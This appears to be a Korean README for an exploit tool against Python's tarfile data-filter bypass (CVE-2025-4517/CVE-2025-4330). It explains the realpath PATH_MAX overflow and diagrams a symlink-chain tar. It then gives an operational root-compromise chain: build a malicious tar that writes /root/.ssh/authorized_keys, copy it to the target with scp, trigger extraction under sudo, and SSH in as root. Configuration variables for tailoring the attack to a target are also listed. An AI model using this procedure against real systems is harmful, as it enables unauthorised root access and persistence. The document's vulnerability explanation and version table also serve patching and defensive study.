
Python tarfile 데이터 필터 우회 (os.path.realpath() 내 PATH_MAX 오버플로를 통한) - CVE-2025-4517 / CVE-2025-4330
tarfile 데이터 필터 우회 (PATH_MAX 오버플로우를 통한)저자: 0xDTC CVE: CVE-2025-4517 / CVE-2025-4330 권고: GHSA-6r6c-684h-9j7p CPython 수정: PR #135037
Python의 tarfile.extractall(filter="data")는 경로 탐색(절대 경로, .. 시퀀스, 대상 디렉터리를 벗어나는 심볼릭 링크)을 차단하여 tar 아카이브를 안전하게 추출하도록 설계되었습니다. 그러나 os.path.realpath(strict=False)의 버그로 인해 이 필터가 완전히 우회될 수 있습니다.
확인된 경로가 PATH_MAX(리눅스에서 4096바이트)를 초과하면 os.path.realpath()는 자동으로 심볼릭 링크 확인을 중단하고 문자열 조작으로 대체됩니다. 즉, 정교하게 조작된 심볼릭 링크 체인을 통해 Python이 심볼릭 링크가 추출 디렉터리 내부에 있는 것으로 착각하게 만들고, 실제로는 /로 탈출할 수 있습니다.
| 브랜치 | 영향을 받는 버전 | 수정된 버전 |
|---|---|---|
| 3.12.x | 3.12.0 – 3.12.10 | 3.12.11 |
| 3.13.x | 3.13.0 – 3.13.3 | 3.13.4 |
| 3.14.x | 3.14.0a1 – 3.14.0a7 | 3.14.0b1 |
익스플로잇은 다음을 포함하는 tar 아카이브를 구성합니다.
realpath를 속입니다.핵심 통찰: a/b/c/.../p를 짧은 심볼릭 링크를 따라가면 PATH_MAX 미만으로 유지되지만, realpath는 각 링크를 약 240자의 실제 디렉터리 이름으로 확장합니다. 254자 링크 이름에 도달하면 확인된 경로가 4096바이트를 초과하고 realpath는 포기합니다. 자동으로 잘못된 결과를 반환합니다.
flowchart TD
A["Attacker crafts malicious tar"] --> B["tar contains:
16 dir/symlink pairs
254-char escape symlink
'escape' symlink to /
payload file"]
B --> C["Target extracts with
tarfile.extractall(filter='data')"]
C --> D{"Python resolves symlinks
via os.path.realpath()"}
D --> E["Follows short symlinks a→ddd...d
Resolved path grows with each step"]
E --> F{"Resolved path length
> PATH_MAX (4096)?"}
F -->|"No (normal)"| G["realpath correctly resolves
Symlink blocked by filter ✓"]
F -->|"Yes (overflow!)"| H["realpath STOPS resolving
Falls back to string manipulation"]
H --> I["Python thinks symlink
resolves INSIDE extraction dir"]
I --> J["Filter PASSES the symlink ✗"]
J --> K["OS follows symlink correctly
'escape' resolves to /"]
K --> L["Payload written to
arbitrary file on disk"]
style F fill:#ff6b6b,color:#fff
style H fill:#ff6b6b,color:#fff
style J fill:#ff6b6b,color:#fff
style L fill:#ff6b6b,color:#fff
style G fill:#51cf66,color:#fff
sequenceDiagram
participant A as Attacker Machine
participant T as Target Machine
Note over A: Phase 1 — Preparation
A->>A: Generate SSH keypair (ssh-keygen)
A->>A: Configure exploit variables<br/>(DEST_DIR, DEPTH_TO_ROOT, etc.)
A->>A: Run CVE-2025-4517.py or .go<br/>to generate malicious tar
Note over A,T: Phase 2 — Delivery
A->>T: Transfer malicious tar to target<br/>(scp, wget, curl, ftp, etc.)
T->>T: Place tar in location accessible<br/>to the vulnerable script
Note over T: Phase 3 — Exploitation
T->>T: Trigger extraction via the<br/>vulnerable Python script
T->>T: Python calls tarfile.extractall(filter="data")
Note over T: What Python sees vs reality
T->>T: realpath() overflows at PATH_MAX
T->>T: Filter thinks "escape" symlink is safe
T->>T: OS follows "escape" → resolves to /
T->>T: Payload written to /root/.ssh/authorized_keys
Note over A,T: Phase 4 — Access
A->>T: SSH as root using the written key
T-->>A: Root shell obtained
graph LR
subgraph "Tar Members (extracted in order)"
D1["📁 ddd...d/"] --> S1["🔗 a → ddd...d"]
D2["📁 ddd...d/ddd...d/"] --> S2["🔗 ddd...d/b → ddd...d"]
D3["📁 ...16 levels..."] --> S3["🔗 .../p → ddd...d"]
S4["🔗 a/b/.../p/lll...254...l<br/>→ ../../ × 16"]
S5["🔗 escape<br/>→ a/b/.../p/lll...l/../../ × DEPTH"]
F1["📄 escape/root/.ssh/authorized_keys<br/>(payload content)"]
end
S1 -.->|"short path<br/>stays small"| S2
S2 -.-> S3
S3 -.-> S4
S4 -.->|"254 chars pushes<br/>past PATH_MAX"| S5
S5 -.->|"resolves to /"| F1
두 스크립트 모두 상단에 다음과 같은 변수를 포함한 설정 섹션이 있습니다.
옵션 A: Python
# 1. SSH 키 쌍 생성
ssh-keygen -t ed25519 -f root_key -N ''
# 2. CVE-2025-4517.py 편집 — DEST_DIR, DEPTH_TO_ROOT, PAYLOAD, OUTPUT 업데이트
# 3. 악성 tar 생성
python3 CVE-2025-4517.py
# 4. 대상으로 전송
scp backup_99.tar user@target:/path/to/backups/
옵션 B: Go
# 1. SSH 키 쌍 생성
ssh-keygen -t ed25519 -f root_key -N ''
# 2. CVE-2025-4517.go 편집 — destDir, depthToRoot, payload, output 업데이트
# 3. 악성 tar 생성
go run CVE-2025-4517.go
# 4. 대상으로 전송
scp backup_99.tar user@target:/path/to/backups/
# 취약한 Python 스크립트를 통해 추출 트리거
# 정확한 명령은 대상 스크립트가 호출되는 방식에 따라 다릅니다.
# 예시:
sudo /usr/bin/python3 /path/to/vulnerable_script.py --backup backup_99.tar --restore extract_dir
# 심은 키를 사용하여 root로 SSH
ssh -i root_key root@target
/에서 추출 경로까지의 디렉터리 개수를 셉니다.
/tmp/staging/extract_dir/
(1) (2) (3)
DEPTH_TO_ROOT = 3
/var/lib/app/data/staging/
(1) (2) (3) (4) (5)
DEPTH_TO_ROOT = 5
/opt/restore/backups/output_dir/
(1) (2) (3) (4)
DEPTH_TO_ROOT = 4
영향을 받는 버전에서 filter="data"와 함께 tarfile.extractall()을 사용하는 모든 Python 스크립트는 잠재적으로 익스플로잇이 가능합니다.
import tarfile
with tarfile.open("archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="data") # 취약
filter="data"는 tar 경로 탐색 공격을 방지하기 위한 보안 조치로 도입되었습니다. 아이러니하게도, 취약점은 필터가 심볼릭 링크 대상을 검증하기 위해 의존하는 메커니즘(os.path.realpath) 자체에 존재합니다.
이 도구는 공인된 보안 테스트, 교육 목적 및 연구 용도로만 제공됩니다. 소유하고 있거나 명시적 서면 허가를 받은 시스템에만 사용하십시오. 컴퓨터 시스템에 대한 무단 액세스는 불법입니다. 저자는 이 도구의 오용에 대해 책임을 지지 않습니다.
| 변수 | 설명 | 예시 |
|---|
DEST_DIR | 대상 시스템에서 추출 디렉터리의 전체 경로 | /tmp/staging/extract_dir/ |
DEPTH_TO_ROOT | /에서 DEST_DIR까지의 디렉터리 개수 | /opt/app/staging/dir/의 경우 4 |
TARGET_FILE | / 기준으로 작성할 파일 | root/.ssh/authorized_keys |
PAYLOAD | 대상 파일에 쓸 내용 | SSH 공개 키 |
OUTPUT | 출력 tar 파일명 | 대상의 예상 패턴과 일치해야 함 |